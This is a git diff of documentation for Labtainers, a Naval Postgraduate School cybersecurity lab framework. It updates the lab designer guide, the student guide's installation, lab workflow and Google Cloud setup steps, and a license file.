deployment-wide basis using the {\tt CHECKWORK no} directive -in the {\tt config/labtainers.config} file. Of course this assumes you have separately -provided access control over that file, e.g., through use of a custom VM appliance. +\subsubsection{Kernel logging} +Since kernels are shared, system logs of a container may reflect kernel events occuring +elsewhere, e.g., the host VM. See the ossec lab web server component for an example +of the rsyslog.conf file that filters out aparmor logs entries. + +\subsection {Test registry setup} +The test registry is a Docker container that runs on the host, i.e., native OS +upon which the VMs run. The same test registry is shared by multiple development VMs. +The test registry is created via {\tt host\_scripts/registry/start\_reg.sh}. It listens +to port 5000 on the localhost. + +A VM is configured to use the test registry via {\tt setup\_scripts/./prep-testregistry.sh} + +The test registry is populated using publish.py -t + +\subsection {CentOS containers} +CentOS base containers do not run 32-bit binaries. Add the following to your dockerfile to do that: +\begin{verbatim} +RUN yum install -y compat-libstdc++-296.i686 compat-libstdc++-33.i686 +\end{verbatim} + +\subsection{Side effects of stdin/stdout mirroring} +Labtainers uses a ptty within the mytty2.cpp program, which manages stdin and stdout for any monitored program the +student starts. In order to know when all children are done with the pty, we reap (reparent) all the chidren of the monitored +program. In a normal system, if the command program forks and then exits, its child would be reparented to the init process. +In Labtainers, the reparenting is to a reaper process. While commands or their children are running, +a process list will reveal extra processes named {\tt capinout} that the student would not see on a typical Linux system. \newpage \appendix @@ -2236,7 +3055,9 @@ sequence of directives stored in a file at this location: \begin{verbatim} labtainer/simlab//simthis.txt \end{verbatim} -Note that simlab files are not in the svn trunk or in the github repository. These +The {\tt simlab} directory is at the same level as {\tt \$LABTAINER\_DIR}, i.e. at {\tt \$LABTAINER\_DIR/../simlab}. +Note that simlab files are not in the github repository. These +files essentially contain lab solutions, and thus should not be openly published. files essentially contain lab solutions, and thus should not be openly published. \footnote{If you require simlab files for existing labs, contact me and try to convince me you actually need them (mfthomps@nps.edu).} @@ -2255,7 +3076,6 @@ described below in \ref{smoketest} \item Ensure your system's \$PATH includes \$LABTAINERS\_DIR/testsets/bin - \item Ensure the saved email used for each lab is 'frank@beans.com'. You can do this by modifying {\tt \url{~}/.local/share/labtainers/email.txt} with only 'frank@beans.com' at the top. \end{itemize} \subsection {Running SimLab} @@ -2279,11 +3099,13 @@ The SimLab directives are as follows: \begin{itemize} \item \textbf{window} $<$text$>$ -- Selects the window having a title that contains. Note that tabs within windows are selected by first selecting the window, and then use {\tt key "ctrl+Next"} -to tab over to the desired terminal tab. +or {\tt ctrl+Prior} to tab over to the desired terminal tab. the given text. Will timeout and fail after 20 seconds. \item \textbf{window\_wait} $<$text$>$ -- Like window, but no timeout. Intended for use when the xterm title is changed by a program. -\item \textbf{type\_line} $<$text$>$ -- Types the given text. +\item \textbf{type\_line} $<$text$>$ -- Types the given text followed by a newline. +\item \textbf{type\_lit} $<$text$>$ -- Types a sequence of keys, replacing grave, minus and space with X11 keysims. +Followed by a newline. \item \textbf{key} $<$keysym$>$ -- Performs a keypress for the given X11 keysim, see \url{http://xahlee.info/linux/linux\_show\_keycode\_keysym.html} and \url{https://www.in-ulm.de/~mascheck/X11/keysyms.txt} @@ -2293,6 +3115,7 @@ use when the xterm title is changed by a program. Intended for use to wait for a command to complete. This runs on the Linux host, so do not be vauge, or it may never return. Note: If the command was added to the keyboard buffer, then wait\_proc may not catch a command. +\item \textbf{type\_command} $<$text$>$ -- Types the given text and uses wait\_proc to wait for the command to finish. \item \textbf{wait\_net} $<$container$>$:$<$text$>$ -- Delays until network connections to a given remote host have terminated. The given $<$text$>$ is searched for as a substring within the host name ouput from a {\tt netstat} command run on the given container. @@ -2305,9 +3128,10 @@ A {\tt wait\_proc} function is then automatically performed on the line. a keypress. The lines should contain X11 keysims. Blank lines cause a 2 second sleep. \item \textbf{replace\_file} $<$source file$>$ $<$container$>$:$<$dest file$>$ -- Copies content of a source file on the Linux host relative the simlab directory, to a destination path on the named selected container. -\item \textbf{add\_file} $<$source file$>$ $<$dest file$>$ -- Will append text from the source file to the +\item \textbf{add\_file} $<$source file$>$ $<$dest file$>$ [search] -- Will append text from the source file to the end of the destination file. The destination file will be accessed from the currently selected virtual -terminal. This uses a simple VI scheme to append text, and thus assumes the window and cwd are as needed. +terminal. This uses a simple VI scheme to append text, and thus assumes the window and cwd are as needed. The optional +search string will be issued to VI followed by an "O" for inserting above the target line. \item \textbf{include} $<$file$>$ Reads the named file and treats each line as a SimLab directive, and then continues processing the next directive in the source file. This is similar to the C include directive. @@ -2321,8 +3145,47 @@ Most GUI's have shortcut keys that can be used to automate their inclusion in a Firefox is brittle when it restarts. See the {\tt fixfirefox.txt} SimLab script for the snort lab for an example of avoiding errors when Firefox restarts. +\subsection{Common x11 keys} +Here's the common ones: -\subsection{Regression testing with smoketest.py} \label{smoketest} +\begin{verbatim} + Home → Home + End → End + PageUp → Prior + PageDown → Next + ↑ arrow → Up + ↓ arrow → Down + → arrow → Right + ↠arrow → Left + Return → Return + Space → space + Tab → Tab + Backspace ⌫ → Backspace + Delete ⌦ → Delete + Escape → Escape + F1 → F1 + F2 → F2 + F3 → F3 + â–¤ Menu → Menu + PrintScreen → Print + ScrollLock → Scroll_Lock + Pause → Pause/Break + + NumLock → Num_Lock + keypad + → KP_Add + keypad - → KP_Subtract + keypad * → KP_Multiply + keypad / → KP_Divide + keypad enter → KP_Enter + keypad . → KP_Decimal + keypad 0 → KP_0 + keypad 1 → KP_1 + keypad 2 → KP_2 +\end{verbatim} + + +\subsection{Regression testing with smoketest.py} +\label{smoketest} The {\tt smoketest.py} utility automates regression testing of labs. It will automatically: \begin{itemize} \item Start a lab @@ -2334,7 +3197,13 @@ The {\tt smoketest.py} utility automates regression testing of labs. It will au labtainer/simlab//expected/ \end{verbatim} \end{itemize} +\noindent Populate the expected results with the results from the labtainer\_xfer directory after you've +manually determine the results you desire. If {\tt smoketest.py} is started with no parameters, it will iterate through each lab in the labs directory. The that lab lacks {\tt simthis.txt} file, then the lab is simply started and stopped (hence the tool's name). The tool will stop upon encountering the first error. +If a lab's simlab includes an expected directory it will compare the results and report on whether they match. +If no expected results are found, no status is displayed (unless an error is encountered.) + +If you are using smoketest to check against archived expected results from NPS, make sure the saved email used for each lab is 'frank@beans.com'. You can do this by modifying {\tt \url{~}/.local/share/labtainers/email.txt} with only 'frank@beans.com' at the top. \end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labtainer5-sm.png new file mode 100755 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/license.md b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/license.md new file mode 100644 index 000000000..3a6f64f92 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/license.md @@ -0,0 +1,54 @@ +Licensing and Distribution +=========================== +Labtainers includes a number of 3rd party licensed software items, +as described below. + +The Linux kernel, libraries and the Wireshark program are +licensed under the GNU Public License, version 2 +per + +Apache web server and related software is under the Apache License per + + +The Firefox browser and related software are licensed per the Mozilla Public +License at + +A number of the labs are derived from SEED labs developed by Syracuse University +. These are identified within their corresponding +lab manuals, along with constraints on distribution. These labs include: +bufoverflow, capabilities, formatstring, local-dns, onewayhash, +retlibc, setuid-env, sql-inject, tcpip, webtrack, xforge and xsite. + +For other software packages included within Labtainer Docker containers, please +refer to their corresponding licenses. + +### Labtainers Licensing and Distribution +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School (NPS). Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile index cd52460d3..12bfd37f6 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile @@ -1,10 +1,8 @@ -all: InstallingVB-LinuxWin.pdf labtainer-student.pdf +all: labtainer-student.pdf -InstallingVB-LinuxWin.pdf: InstallingVB-LinuxWin.docx - soffice --convert-to pdf InstallingVB-LinuxWin.docx --headless labtainer-student.pdf: InstallingVB-LinuxWin.pdf labtainer-student.tex - latex labtainer-student + pdflatex labtainer-student pdflatex labtainer-student clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.pdf new file mode 100644 index 000000000..5c7f730ac Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex index e2f0d39a1..a38912588 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex @@ -15,34 +15,74 @@ \usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} \usepackage{bookmark} \usepackage{pdfpages} +\usepackage{graphicx} \usepackage[autostyle, english = american]{csquotes} +\usepackage[page,toc,titletoc,title]{appendix} +\usepackage{textcomp} + \begin{document} -\title {Labtainer Student Guide} -\maketitle +\begin{titlepage} +\centering +\vfill +\vspace*{4\baselineskip} +{\bfseries\Large +Labtainers Student Guide\par +} +\vspace*{4\baselineskip} +{\bfseries +Fully provisioned cybersecurity labs\par +} +\vspace*{2\baselineskip} +\today +\vfill +\includegraphics[width=2in]{labtainer5-sm.png} + %\includegraphics[width=\linewidth, scale=0.50,natwidth=200, natheight=286]{labtainer5-sm.png} +\vfill +\end{titlepage} %---------------- \section {Introduction} -This manual is intended for use by students performing labs with Labtainers. -Labtainers assume you have a Linux system, e.g., a virtual machine. If you -do not have a Linux system, our website includes pre-built virtual -machine images at \url{https://my.nps.edu/web/c3o/virtual-machine-images}. -Alternately, refer to Appendix A and B for installation of -VirtualBox and a Linux system on either a Mac or a Windows computer. -Note that any Linux system can be used as long as it supports Docker. +This manual is intended for use by students performing lab exercises with Labtainers. +Labtainers provide a fully provisioned execution environment for performing +cybersecurity laboratory exercises, including network topologies that include several different +interconnected computers. -Labtainers provide a consistent execution environment for performing -laboratory exercises, and can simulate the execution of several different -computers interconnected via virtual networks. +Labtainers assume you have a Linux system, e.g., a virtual machine appliance described below. +If you are accessing a pre-defined Labtainers VM via a web browser, you can skip to section \ref{selecting}. %---------------- \subsection{Obtaining and installing Labtainers} -If you are using one of the pre-configured virtual machines from -\url{https://my.nps.edu/web/c3o/virtual-machine-images}, you may -skip this section. +Labtainers requires an x86-based platform. If your computer has ARM-based processors such as +Mac Mx-based Powerbooks, see https://github.com/CamilYed/Labtainer-ARM-mac. +Alternately, you can access and run Labtainers exercises on the cloud as described in section \ref{cloud-labtainers}. + +The easiest way to obtain Labtainers is to download one of the pre-configured virtual machines from +\url{https://nps.edu/web/c3o/virtual-machine-images}, and import it into VirtualBox, VMWare or Hyper V. +Follow the brief instructions on that download page. When you first boot the resulting VM, +Labtainers will take a moment to update itself. You are then provided a terminal that includes +some hints, and can be used to run Labtainers. A video tutorial on installing Labtainers is at +\url{https://nps.edu/web/c3o/labtainers-tutorials}. + +Note that the VM's Ubuntu Linux distribution is configured to NOT +automatically perform system updates. It may prompt you to download and install updates. That is typically +not necessary and may tie up your network bandwidth. + +You may now skip to section \ref{selecting}. + +\subsection{Alternatives to the Labtainers VM Appliance} +Skip this section and go to section \ref{selecting} if you are using a Labtainers VM appliance or accessing +Labtainers remotely via a browser. + +\textbf{Please note} that Docker runs as a privileged service on your computer, and Labtainers containers run as privileged containers. +If you have sensitive data on your computer, you should understand the isolation provided by Dockers on your system. An alternative +is to use one of our virtual machine appliances rather than running Docker directly on your computer. + +\subsubsection{Installing Labtainers on an existing Linux system} +NOTE: This approach is discouraged unless you are experienced with Linux system configuration debugging. The Labtainer framework is distributed as a tarball from: -\url{https://my.nps.edu/web/cisr/labtainers}. +\url{https://nps.edu/web/c3o/labtainers} Click the link named: ``Download the Labtainer framework'', and untar the resulting file into -a permanent directory on your Linux system, e.g., into \verb ~/home. For example, if you downloaded the file +a permanent directory on your Linux system, e.g., into {\tt \$HOME}. For example, if you downloaded the file from a browser on your Linux system: \begin{verbatim} cd @@ -58,17 +98,21 @@ tarball start the installer script: This script will install the latest version of Docker and packages required by the Labtainer framework. It will cause your Linux host to reboot when it completes. -Note that older Linux distributions, e.g., Ubuntu 14.* lack the -\textit{realpath} package, which should be installed prior to using Labtainers. After the Linux host reboots, open a terminal to your Linux host and change directory to wherever you untarred the tarball, e.g., your HOME directory. -%---------------- -\section{Performing a Lab} +\subsubsection{Browser-based access to Labtainers} +Labtainers can be run on servers, e.g., VMs on the a cloud service, and accessed +via your browser. See section \ref{cloud-labtainers} for information on using +cloud services. Alternately your school might have virtual desktop solution such +as VMWare Horizons that can host the Labtainers VM appliance. + +\section{Selecting a Lab} +\label{selecting} All labs are run from the same Labtainer workspace directory, which is typically at: \begin{verbatim} - cd ~/labtainer/labtainer-student + cd $LABTAINER_DIR/scripts/labtainer-student \end{verbatim} \noindent The prepackaged virtual machines automatically start a terminal in this directory. @@ -76,26 +120,57 @@ To see a list of available labs, run the {\tt labtainer} command with no argumen \begin{verbatim} labtainer \end{verbatim} -Then run a specific lab, include the name of the lab: +\noindent Use the {\tt -k} option to see a list of searchable keywords, and the {\tt -f } option to view a summary +of labs having that keyword. + +Lab exercises are also organized into \textit{Labpacks} that are a collection multiple related labs that you may +wish to perform in sequence (e.g., based on direction from your instructor.) Use the +\begin{verbatim} + labpack +\end{verbatim} +\noindent to view a list of Lab Packs, and provide the name of a Labpack as an argument to see a list of the labs +within a Labpack. That command output also includes an indication ({\tt [Y] or [N]}) of whether you've generated any results from +each lab. Your instructor may provide you with custom Labpacks in the form of a URL. You may add those to your system by +using the +\begin{verbatim} + labpack -a +\end{verbatim} + +Your instructor may direct you to add new or custom lab exercises to your installation by providing you with a URL of an \textit{IModule}. +To get access to those labs, use: +\begin{verbatim} + imodule +\end{verbatim} +Additional lab exercises created by other instructors are available as IModules, whose URLs are listed at \url{https://nps.edu/web/c3o/imodules}. + +\section{Performing a Lab} +\label{performing} + +To run a specific lab, include the name of the lab in the {\tt labtainer} command: \begin{verbatim} labtainer \end{verbatim} \noindent where \textit{labname} is the name of the lab to run. +The first time any given lab is run, a set of files are downloaded, and +that progress is reported on the screen. The size of the downloads varies +between labs. -Most labs direct you to a PDF version of a lab manual, which can usually -be done by right clicking on the displayed path, or you can open the file in a browser. +Most labs direct you to a PDF version of a lab manual, can +be viewed by right clicking on the displayed path, or you can open the file in a browser. Please note that some of the initial lab instructions repeat the steps you've already taken, and you need not perform those again. -A list of labtainer commands can be found in Appendix C of this document. +A list of Labtainer commands can be found in Appendix \ref{sec:appendixA} of this document. +A video tutorial on performing Labtainer labs is at \url{https://nps.edu/web/c3o/labtainers-tutorials}. -Once you start the lab, you will typically see one or more virtual terminals conneted to computers within +Once you start the lab, you will typically see one or more virtual terminals connected to computers within the lab. While running the lab, if you require more virtual terminals, use: \begin{verbatim} moreterm.py \end{verbatim} \noindent where \textit{container} is the host name of the component on which to attach a terminal. -It can be omitted for labs having a single component. +It can be omitted for labs having a single component. See Appendix \ref{sec:appendixB} for information +on customizing terminal window colors and text. The virtual terminals for most labs present bash shells via which you can interact with the attached computer, (which is actually a Docker container designed to appear @@ -117,11 +192,11 @@ When you want to stop working for a while or are finished and ready to turn it i \noindent from the Linux system from which you issued the {\tt labtainer} command. All changes to the files, etc. will be preserved and you will be able to resume the lab just the way you started it. You can resume your work, as needed. -The {\tt stoplab }command always displays the directory containing a zip file that should be provided to your instructor. It shows the current results of your work. +The {\tt stoplab }command always displays the directory containing a file with a {\tt .lab} extension that should be provided to your instructor. It shows the current results of your work. -The easiest way to forward the complete zip file to the instructor is to start a browser, e.g., Firefox, on the VM from which you -are running Labtainers. Then use the browser to either email the zip file, or upload it into an LMS system, e.g., Sakai. -Alternately, you can configure the VM to use a shared folder, and use that to copy the zip file to the host computer. +The easiest way to forward the complete {\tt .lab} file to the instructor is to start a browser, e.g., Firefox, on the VM from which you +are running Labtainers. Then use the browser to either email the file, or upload it into an LMS system, e.g., Sakai. +Alternately, you can configure the VM to use a shared folder, and use that to copy the {\tt .lab} file to the host computer. %---------------- \subsection{Redoing a Lab} @@ -135,7 +210,28 @@ This will delete any previous containers associated with this lab and start it f \subsection{Checking your work} Some labs include criteria by which to automatically assess your progress. Where enabled and supported, this feature can be utilized by issuing the {\tt checkwork} command from Linux system. -That command can be run while the lab is still running. +That command can be run while the lab is still running. If the lab has been stopped, you must provide the lab name to +the checkwork command, e.g., +\begin{verbatim} + checkwork telnetlab +\end{verbatim} +The meaning and value of the {\tt checkwork} output varies by lab. The command output includes a description of what is being measured, +which in some cases may be quite mundane such as the quantity of times you tried a particular command. +Please note that the {\tt checkwork} output is not a ``score'' or a grade. + +\subsection{Submitting your work} +When you've completed a lab and run the {\tt stoplab} command, your results are stored in a file with a {\tt .lab} extension +in the directory at: +\begin{verbatim} + $HOME/labtainer_xfer/ +\end{verbatim} +\noindent That file should be provided to your instructor. There are several ways to transfer the file. +\begin{enumerate} +\item Use the browser on the VM to email the file to your instructor. +\item Use the browser on the VM to access your school's LMS system such as Saki or Blackboard, and upload the file. +\item Configure the VM to enable \textit{drag and drop}, then move the file to your host computer to email or upload to an LMS. +\item Configure the VM and host to share folders and copy the {\tt .lab} file to the shared folder to email or upload to an LMS. +\end{enumerate} %---------------- \subsection{Getting Help and Things to Avoid} @@ -144,25 +240,38 @@ To get help, type: labtainer -h \end{verbatim} \noindent from the Linux system from which you issued the {\tt labtainer} command. A list of useful labtainer commands will be displayed. +Also see our support page at \url{nps.edu/web/c3o/support1} Do not run multiple labs simultaneously. Consistent results cannot be guaranteed when more than one lab runs at the same time. +\section{Other Considerations} %---------------- \subsection{Networking} In addition to network properties defined for the lab, -each component \texttt{/etc/host} file includes a ``my\_host entry'' that names -the host Linux. Most containers will include a default gateway that -leads to the Linux host. This allows students to scp files to/from the container and host. -It also allows the student to reach external networks, e.g., to fetch additional packages in -support of student exploration. +each component \texttt{/etc/host} file includes a {\tt my\_host entry} that names +the Linux host, e.g., the VM. This allows students to scp files to/from the container and Linux host. -In some instances, the lab requires one or more components to a have different default route. -Typically, these components will include a \textit{togglegw.sh} script that the student -can use to toggle the default gateway between one that leads to the host, and one defined for the lab. -This allows students to add packages on components having lab-specific default gateways. -Use of the \textit{togglegw.sh} script is not necessary to reach the Linux host, (e.g., to scp files). +Most containers will include a default gateway route that +leads to a virtual gateway on the Linux host. This allows the student to reach external networks, e.g., to +fetch additional packages in support of student exploration. Note however that in some labs, one or +more components may have a different default route for purposes of the lab. And these default routes preclude +reaching external networks, e.g., to add new packages with {\tt apt-get}. This limitation can be temporarily +remedied by running this command on the computer: +\begin{verbatim} + /usr/bin/togglegw.sh host +\end{verbatim} +\noindent This will change the default route to use the virtual gateway. When done, restore the original +default route with: +\begin{verbatim} + /usr/bin/togglegw.sh container +\end{verbatim} +Note however that a few labs preclude connection to external networks, regardless of routing. The intent is to keep things +like Metasploit off your campus network. + +Use of the \textit{togglegw.sh} script is not necessary to reach the Linux host, (e.g., to scp files) +if the default route leads to a gateway having a default route leading to the virtual gateway. Try the scp, and +if it fails try using the {\tt togglegw.sh} script. -%---------------- \subsection{Installing and Using Labtainers Behind a Web Proxy} If you are not behind a web proxy, ignore this section (most school environments are not behind proxies). @@ -195,7 +304,7 @@ which is root-equivalent. In other words, even though you start a Docker contai as a non-privileged user, software in the resulting container can modify the Linux host, e.g., the VM. -The computers each include a ``local'' directory beneath the HOME directory. This is used +The computers each include a {\tt .local/} directory beneath the HOME directory. This is used by the Labtainer framework and includes results that get packaged up for forwarding to the instructor. Do not modify any files beneath the .local directory. Otherwise, you can treat those containers as Linux systems, and explore them. @@ -203,37 +312,188 @@ those containers as Linux systems, and explore them. Pasting multiple commands into a labtainer terminal may result in the not all of the commands being executed. -\appendix -\includepdf[pages=1,pagecommand={ \thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxMac.pdf} -\includepdf[pages=2-,pagecommand={\thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxMac.pdf} +\subsubsection{Network Limitations} +Labtainer containers do not include typical OS network configuration files such as /etc/network/interfaces +or /etc/netplan. Nor do the containers include networking daemons such as {\tt networkd}. The initial post-boot network interface +configurations are managed by Docker as prescribed by the labs design. Users may alter network configurations, e.g., +via the {\tt ip} command, and may control DNS naming by directly modifying the {\tt /etc/resolv.conf} file. Persistent +changes to the {\tt resolv.conf} DNS naming can be achieved using {\tt /etc/rc.local}. -\appendix -\includepdf[pages=1,pagecommand={ \thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxWin.pdf} -\includepdf[pages=2-,pagecommand={\thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxWin.pdf} +\section{Cloud Labtainers} +\label{cloud-labtainers} +Labtainers can be run on cloud services and accessed via a browser. +Cloud service providers may offer free accounts for students or others looking to learn about their cloud services. +Currently, Labtainers works with the Google cloud platform as described below. Support for Azure has been stopped due to problems with that platform. -\appendix +\subsection{Google Cloud Platform} +These instructions assume you have a google cloud account. \url{https://cloud.google.com/} + +This requires that the Google Cloud SDK be installed on the Mac, Windows or Linux: +\url{https://cloud.google.com/sdk/docs/quickstart} + +On Linux/Mac, add the {\tt google-cloud-sdk/bin} directory to your PATH environment variable. For example, +if you put the SDK in your home directory, then add this to your +{\tt \$HOME/.bash\_profile} +\begin{verbatim} + PATH=$PATH:$HOME/google-cloud-sdk/bin +\end{verbatim} +\noindent and then run +\begin{verbatim} + source $HOME/.bash_profile +\end{verbatim} +\noindent On Windows, just reopen a new PowerShell window after installing the SDK. + +In the following command examples, use the "ps1" file extension instead of "sh" when using PowerShell. +\begin{itemize} +\item Open a terminal on Mac/Linux, or a PowerShell window on Windows. +\item Install the local scripts by getting this script (make it executable on Mac or Linux): +\url{https://raw.githubusercontent.com/mfthomps/Labtainers/master/google/install\_labtainers.sh} +Or on Windows: +\url{https://raw.githubusercontent.com/mfthomps/Labtainers/master/google/install\_labtainers.ps1} + +On Mac or Linux: +\begin{itemize} +\item Get the install script: +\begin{verbatim} +curl -L https://raw.githubusercontent.com/mfthomps/Labtainers/master/\ +google/install_labtainers.sh --output install_labtainers.sh +\end{verbatim} +\item {\tt chmod a+x install\_labtainers.sh} +\end{itemize} +\noindent On Windows: +\begin{itemize} +\item Get the script: +\begin{verbatim} +wget https://raw.githubusercontent.com/mfthomps/Labtainers/master/\ +google/install_labtainers.ps1 -O install_labtainers.ps1 +\end{verbatim} +\end{itemize} + +\item Then run it (Mac/Linux). +\begin{verbatim} + ./install_labtainers.sh +\end{verbatim} +\noindent Windows: +\begin{verbatim} + ./install_labtainers.ps1 +\end{verbatim} + +\noindent That will create a {\tt \$HOME/labtainers\_google} directory. + +\item Change to the {\tt \$HOME/labtainers\_google directory} +\begin{verbatim} + cd $HOME/labtainers_google +\end{verbatim} + +\item Log into your Google cloud account from the command line: +\begin{verbatim} + gcloud auth login +\end{verbatim} +\item Define your default region and zone by editing and running the set\_defaults.sh script. And then initialize +using: +\begin{verbatim} + gcloud init +\end{verbatim} + +\item Once logged into the Google Cloud with default region/zone defined, run the create\_vm.sh (or create\_vm.ps1 for windows) script, passing in a user ID. +The ID can be any name without special characters, e.g., +\begin{verbatim} + ./create_vm.sh myname +\end{verbatim} + +\item On Linux/Mac, you will be prompted for an ssh passphase, leave it blank. On Windows, ignore the warnings +about ssh keys. + +\item The create\_vm script may take a while to run. The process is complete when you see “Labtainers is up. +Point a local browser to http://localhost:6901†and perform the labs. +When prompted for a password in the browser, just click submit or OK, i.e., leave the password blank. +The password for the labtainer user in the VM is labtainer. + +\item When done with labs, run the get\_results.sh (or get\_results.ps1) script: +\begin{verbatim} + ./get_results.sh +\end{verbatim} +\noindent This will store your Labtainer results in ~/labtainer\_xfer. Provide those +results to your instructor. + +\item If you become unable to reach the Labtainers via your browser, e.g., after +shutting down your computer, simple use the restart.sh script: +\begin{verbatim} + ./restart.sh +\end{verbatim} + +\item The create\_vm.sh script will create an SSH key pair named id\_labtainers within your ~/.ssh directory. +The private key in id\_labtainers is not passphrase protected, so you must protect it. +You may move the keys to a different computer and access your Labtainers from that computer's +browser. You must first run the install\_labtainers.sh script on that computer, and then run +the restart.sh script. + +\item If the terminal on the desktop goes away (e.g., a right-click will sometimes do that), create a new +terminal using this command: +\begin{verbatim} + ./newterm.sh +\end{verbatim} + +\item When done with a lab, use +\begin{verbatim} + ./stop_vm.sh +\end{verbatim} +to stop incurring processing charges. Note you may still incur storage charges until the VM is delete. + +\item To restore a VM after you stopped it, use: +\begin{verbatim} + ./start_vm.sh +\end{verbatim} + +\item When completely done with the VM, use the delete\_vm.sh script to stop incurring all charges: +\begin{verbatim} + ./delete_vm.sh +\end{verbatim} + +\item Shutting down the VM without deleting it will not stop all charges, but will stop processing charges. +See the Google Cloud dashboard and pricing for more information. +\end{itemize} + +\pagebreak +\begin{appendices} +%\appendix \pagenumbering{Alph} \setcounter{page}{3} -\section* {Appendix C: Labtainer Command Summary} -\label{sec:appendixC} -The following labtainer commands are available from the \texttt{labtainer/labtainer-student} -directory: +\section{Labtainer Command Summary} +\label{sec:appendixA} +The following labtainer commands are available from the \texttt{labtainer-student} +directory. Most of these commands include a {\tt -h} option for help: \begin{itemize} \item \texttt{labtainer --} -Start the named lab. If no name is given, a list of available labs will be displayed. +Start the named lab. If no name is given, a list of available labs will be displayed. Command completion is +supported, e.g., typing {\tt labtainer tel} followed by the tab key will display all labs starting with {\tt tel}. \item \texttt{stoplab --} Stop the currently running lab. \item \texttt{moreterm.py --} create a new virtual terminal for the container. +\item \texttt{labpack} -- List the installed Labpacks, i.e., groups of related labs. +\item \texttt{imodule} -- Manage local IModule labs, e.g., labs distributed by your instructor. \item \texttt{labtainer -r --} Delete any previous containers associated with this lab and start it fresh. \textbf{Warning}: this will lose any previous data from the named lab. +\item \texttt{checkwork} -- Performs automated assessment for selected labs and provides you with information about your progress. +Note this is not a grade and is not a score. It simply reflects a lab-dependent set of goals. +\item \texttt{quiz} -- Provides a quiz for selected labs to help prepare you to perform the lab. +\item \texttt{update-labtainer.sh} -- Update the Labtainer installation to include bug fixes and new labs. +\item \texttt{check\_nets.py} -- Runs diagnostics to potentially resolve Docker related problems. + \end{itemize} -Most labs display lab instructions in one of the windows that appears after the lab starts. If those instructions -stop displaying, e.g., because ``q'' is pressed in that window, then type the following in a virtual terminal (e.g., -in a new terminal created using the moreterm.py script: -\begin{verbatim} - less instructions.txt -\end{verbatim} +\section{Customizing terminals} +\label{sec:appendixB} +Terminal colors and text size can be customized by right clicking on a terminal and selecting {\tt Preferences}. From there, select +the {\tt Unnamed} or {\tt Default} profile and click its down-arrow and select "clone". Give the new profile a name, and then +select your new profile. Adjust the colors and text appearance by selecting the tabs on the top of the window. Experiment +by creating a new terminal window, right-click and select your profile from the {\tt Profiles} submenus. +If you want all of your terminals to look like a new profile, click the down arrow on your new profile and make it the ``default''. -\end{document} \ No newline at end of file +If you create a terminal profile named \textit{labtainers}, that profile will be used with Labtainers lab terminals. This can +be helpful to distinguish the Labtainers terminals from other terminals on your desktop. +A video tutorial on customizing terminals is at \url{https://nps.edu/web/c3o/labtainers-tutorials}. + +\end{appendices} +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer5-sm.png new file mode 100755 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/google/README.txt new file mode 100644 index 000000000..76d0a6042 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/README.txt @@ -0,0 +1,93 @@ +Running Labtainers in the Google Cloud Platform + +These instructions assume you have a google cloud account. + https://cloud.google.com/ + +This requires that the Google Cloud SDK be installed on the Mac, Windows or Linux: + 